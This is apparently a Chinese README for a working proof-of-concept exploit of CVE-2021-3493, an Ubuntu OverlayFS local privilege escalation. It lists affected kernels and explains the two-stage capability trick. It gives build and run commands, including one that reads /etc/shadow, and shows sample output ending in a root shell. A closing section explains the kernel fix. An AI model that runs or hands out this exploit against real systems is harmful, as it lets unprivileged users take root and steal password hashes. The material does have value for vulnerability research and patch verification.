CVE-2021-3493 的一个可用的概念验证(PoC)——这是 Ubuntu 内核 OverlayFS 实现中的一个本地权限提升漏洞。
非特权用户可以在用户命名空间内挂载 overlay 文件系统,并通过 setxattr 设置任意文件能力(file capabilities)。内核未能验证这些能力的命名空间来源,因此它们会在 init 用户命名空间 中生效——从而允许任何本地用户提升至 root 权限。
此漏洞为 Ubuntu 特有。Ubuntu 携带了一个允许非特权 overlay 挂载的补丁(FS_USERNS_MOUNT),而上游内核没有,因此主线 Linux 及其他发行版一般不受影响。
| 发行版 | 内核 | 受影响版本(修复于) |
|---|---|---|
| Ubuntu 20.10 | 5.8 | < 5.8.0-50 |
| Ubuntu 20.04 LTS | 5.4 | < 5.4.0-72 |
| Ubuntu 18.04 LTS | 4.15 | < 4.15.0-142 |
| Ubuntu 18.04 LTS (HWE) | 5.3 | < 5.3.0-73 |
| Ubuntu 16.04 LTS | 4.4 | < 4.4.0-209 |
| Ubuntu 14.04 ESM (HWE) | 4.4 | < 4.4.0-209 |
来源:USN-4916-1
该 PoC 采用两阶段设计:
| 文件 | 作用 |
|---|---|
exploit.c | 阶段 1 — 在用户命名空间内创建 overlay 文件系统,将 rootshell 载荷复制到其中,并设置包含全部能力(all+ep)的 security.capability xattr |
rootshell.c | 阶段 2 — 一个干净的载荷,利用文件能力调用 setuid(0) 并生成真正的 root shell |
为什么分为两个阶段? 原始 inspiringz/CVE-2021-3493 PoC 会让漏洞利用程序在用户命名空间内 exec 一个 shell,因此 uid=0 仅仅是命名空间映射——并非真正的 root。此 PoC 将 overlay 设置(用户命名空间中的子进程)与载荷执行(init 命名空间中的父进程)相分离,从而确保真正的权限提升。
exploit (init ns, uid=1000)
│
├─ fork → child (user ns)
│ ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
│ ├─ mount overlayfs
│ ├─ copy rootshell → overlay merge dir
│ ├─ setxattr("security.capability", all+ep) ← vulnerability trigger
│ └─ exit
│
└─ parent (init ns, uid=1000)
└─ execl("upper/rootshell")
├─ kernel loads file capabilities in init ns
│ CapPrm: 0000003fffffffff
│ CapEff: 0000003fffffffff
├─ setuid(0) → success
├─ setgid(0) → success
└─ exec /bin/bash → real root shell
/dev/shm → /tmp:原始 PoC 使用 /dev/shm,而该目录以 nosuid 方式挂载,导致内核在 exec 时静默忽略文件能力。此 PoC 改用 /tmp(通常位于 ext4 文件系统上,且未启用 nosuid)。
两阶段载荷:原始 PoC 将自身(/proc/self/exe)复制为承载能力的二进制文件,但由于漏洞利用程序调用了 unshare,重新执行它只会再次进入用户命名空间。此 PoC 使用一个独立的 rootshell 二进制文件,直接使用这些能力。
| 操作系统 | Ubuntu 20.04.1 LTS (Focal Fossa) |
| 内核 | 5.4.0-65-generic(易受攻击)/ 5.4.0-216-generic(已修复) |
| 配置 | 默认 Ubuntu Server 安装——未禁用任何缓解措施 |
测试主机使用原版 Ubuntu 20.04 内核,所有默认安全功能均保持开启:
CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1(默认——允许非特权用户命名空间)CONFIG_OVERLAY_FS=m(默认——OverlayFS 以模块形式提供)BOOT_IMAGE=... root=... ro)无需禁用任何安全功能——在装有易受攻击内核的默认 Ubuntu 20.04 上,该漏洞利用开箱即用。
⚠️ 警告:仅在您拥有或获明确授权测试的系统上运行。此漏洞利用会授予真正的 root 访问权限。
make
./exploit
默认行为会生成一个交互式 root shell。您也可以运行单条命令:
./exploit "id && cat /etc/shadow"
============================================
CVE-2021-3493 OverlayFS Privilege Escalation
Kernel: 5.4.0-65-generic
User: uid=1000(user) gid=1000(user)
============================================
[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...
[*] Before privilege escalation:
uid=1000(user) gid=1000(user)
[*] Process capabilities:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[+] After setuid(0) + setgid(0):
uid=0(root) gid=0(root)
root@host:~#
make clean
已修复的内核(例如 Ubuntu 20.04 上 >= 5.4.0-70 的内核)在通过用户命名空间中的 overlay 设置能力 xattr 时,会将其格式从 v2 升级为 v3。v3 格式包含一个 rootid 字段,用于记录设置者在 init 命名空间中的真实 UID。在 exec 时,内核会检查 rootid——若不为 0,则拒绝这些能力:
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000
# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
^^ ^^^^^^^^
v3 rootid=1000
此代码仅用于安全研究和授权测试。请仅在您拥有或已获得明确书面许可的系统上使用。作者对任何误用行为概不负责。